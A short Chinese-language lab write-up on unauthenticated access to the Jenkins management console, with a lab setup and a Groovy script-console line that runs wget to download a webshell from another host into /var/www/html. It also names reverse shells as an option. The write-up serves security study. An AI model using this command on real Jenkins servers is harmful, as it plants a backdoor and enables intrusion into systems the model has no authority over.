Jenkins未授权访问

什么是jenkins？

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。

Jenkins功能是什么？

持续的软件版本发布/测试项目。
监控外部调用执行的工作。

什么是jenkins未授权管理？

未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。

实验环境

服务端rhel：192.168.1.80
客户端kali：192.168.1.184

下载安装jenkins环境
官网：http://mirrors.jenkins.io

访问192.168.1.80:8080，环境搭建成功

浏览器访问http://192.168.1.80:8080/manage，可以直接访问

执行系统命令

写马

有可写权限

println “wget http://192.168.1.84/webshell.php -P /var/www/html/”.execute().text

目标机查看

蚁剑连接，因为我本台机子上没有php环境，不解析php文件，在此不再演示。